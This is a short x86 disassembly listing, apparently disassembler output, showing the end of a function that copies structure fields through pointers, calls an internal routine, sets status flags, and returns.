mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebx]
xor edx, edx
call fcn.0042f858
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
cmp eax, 0
je 0x420fa5
jmp 0x420f81
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
mov edx, dword [ebp - 0x14]
jl 0x420f95
mov eax, 1
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x420fd7
jmp 0x420fa7
mov eax, dword [ebx]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x38]
mov dword [esi], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
jmp 0x420fd7
cmp dword [eax], 0
jne 0x420fe7
jmp 0x420fde
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, dword [eax]
cmp eax, 0
jne 0x420ffe
jmp 0x420e11
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
jmp 0x421005
mov eax, dword [ebp - 0x24]
jmp 0x421005
jmp 0x421005
mov eax, dword [eax]
test eax, eax
je 0x421014
jmp 0x42100d
sub eax, 3
je 0x421019
jmp 0x42106a
jmp 0x420426
mov eax, dword [edi]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebp - 0x50]
mov dword [ecx], 1
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x42106f
mov ecx, dword [ebp - 0x50]
jmp 0x42106f
mov eax, dword [ecx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret